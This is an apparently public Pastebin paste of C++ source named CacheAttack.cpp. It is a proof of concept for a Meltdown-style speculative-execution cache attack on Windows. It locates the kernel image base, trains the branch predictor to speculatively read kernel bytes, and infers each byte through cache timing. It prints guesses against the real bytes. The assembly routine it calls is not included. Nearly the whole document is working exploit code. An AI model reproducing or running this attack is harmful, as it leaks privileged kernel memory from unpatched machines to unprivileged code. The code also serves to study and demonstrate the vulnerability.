Guest User

CacheAttack.cpp

a guest
Jan 3rd, 2018
16,517
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // CacheAttack.cpp : Defines the entry point for the console application.
  2. //
  3.  
  4. #include "stdafx.h"
  5. #include <Windows.h>
  6.  
  7. EXTERN_C_START
  8.  
  9. void _run_attempt();
  10. DWORD64 pointers[4096 / 2];
  11. DWORD64* speculative;
  12.  
  13. BYTE* L2_cache_clear;
  14.  
  15. DWORD64 times[256];
  16.  
  17. EXTERN_C_END
  18.  
  19. typedef NTSTATUS (WINAPI *pNtQuerySystemInformation)(
  20. _In_ DWORD SystemInformationClass,
  21. _Inout_ PVOID SystemInformation,
  22. _In_ ULONG SystemInformationLength,
  23. _Out_opt_ PULONG ReturnLength
  24. );
  25.  
  26. typedef NTSTATUS(WINAPI *pNtYieldProcessor)(
  27. );
  28.  
  29.  
  30. pNtQuerySystemInformation NtQuerySystemInformation;
  31. pNtYieldProcessor NtYieldProcessor;
  32. #define SystemModuleInformation 11
  33.  
  34. #pragma pack(push, 8)
  35. typedef struct _RTL_PROCESS_MODULE_INFORMATION
  36. {
  37. HANDLE Section;
  38. PVOID MappedBase;
  39. PVOID ImageBase;
  40. ULONG ImageSize;
  41. ULONG Flags;
  42. USHORT LoadOrderIndex;
  43. USHORT InitOrderIndex;
  44. USHORT LoadCount;
  45. USHORT OffsetToFileName;
  46. UCHAR FullPathName[256];
  47. } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
  48.  
  49. typedef struct
  50. {
  51. ULONG ModulesCount;
  52. RTL_PROCESS_MODULE_INFORMATION Modules[100];
  53. } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
  54.  
  55.  
  56. #pragma pack(pop)
  57.  
  58. BYTE* cacheClear;
  59.  
  60. size_t run_attempt_single(BYTE* ptr)
  61. {
  62. //
  63. // Set up the loop. The point is to have a big loop that the branch predictor "learns" to take
  64. // followed by a bad speculation on iteration 1000.
  65. //
  66. for (size_t i = 0; i < ARRAYSIZE(pointers); i++)
  67. {
  68. pointers[i] = (DWORD64)&pointers[0];
  69. speculative[i] = (DWORD64)FALSE;
  70. }
  71. pointers[1000] = (DWORD64)ptr;
  72. speculative[1000] = (DWORD64)TRUE;
  73.  
  74. DWORD64 times_min[256] = { 0 };
  75.  
  76. memset(times_min, 0xff, sizeof(times_min));
  77.  
  78. // warm up
  79. for (size_t attempt = 0; attempt < 2; attempt++)
  80. _run_attempt();
  81.  
  82. for (size_t attempt = 0; attempt < 5; attempt++)
  83. {
  84. _run_attempt();
  85. for (size_t i = 0; i < 256; i++)
  86. times_min[i] = min(times_min[i], times[i]);
  87. }
  88.  
  89. size_t max_idx = 0;
  90. for (size_t i = 0; i < 256; i++)
  91. {
  92. if (times_min[i] > times_min[max_idx])
  93. max_idx = i;
  94. }
  95.  
  96. return max_idx;
  97. }
  98.  
  99. BYTE* value;
  100.  
  101. int main()
  102. {
  103. int cpuinfo[4];
  104. __cpuidex(cpuinfo, 0, 0);
  105. char* cpuName = (char*)&cpuinfo[1];
  106.  
  107. value = (BYTE*)VirtualAlloc(0, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
  108. *value = 0x1c;
  109.  
  110. speculative = (DWORD64*)(VirtualAlloc(0, 0x10000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE | PAGE_NOCACHE));
  111.  
  112. L2_cache_clear = (BYTE*)VirtualAlloc(0, 256 * 4096, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE | PAGE_WRITECOMBINE);
  113.  
  114. (*(FARPROC*)&NtQuerySystemInformation) = GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtQuerySystemInformation");
  115.  
  116. SYSTEM_MODULE_INFORMATION modInfo = { 0 };
  117. DWORD dw;
  118.  
  119. NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation, &modInfo, sizeof(modInfo), &dw);
  120.  
  121. void* ntoskrnlBase = (void*)modInfo.Modules[0].ImageBase;
  122. size_t ntoskrnlSize = modInfo.Modules[0].ImageSize;
  123.  
  124. cacheClear = (BYTE*)VirtualAlloc((void*)0x1000000, 0x10000, MEM_COMMIT | MEM_RESERVE | MEM_LARGE_PAGES, PAGE_READWRITE);
  125.  
  126. BYTE* hMod = (BYTE*)(LoadLibraryExW(L"ntoskrnl.exe", NULL, LOAD_LIBRARY_AS_IMAGE_RESOURCE)) - 2;
  127. IMAGE_DOS_HEADER* imgDos = (IMAGE_DOS_HEADER*)(hMod);
  128. IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(hMod + imgDos->e_lfanew);
  129.  
  130. size_t i = 0x1000;
  131. while(TRUE)
  132. {
  133. BYTE* addr = (BYTE*)ntoskrnlBase;
  134. size_t guess = run_attempt_single(&addr[i]);
  135. printf("0x%02x: guess: 0x%02x, real:0x%02x\n", i, guess, hMod[i]);
  136. i++;
  137. }
  138.  
  139. return 0;
  140. }
RAW Paste Data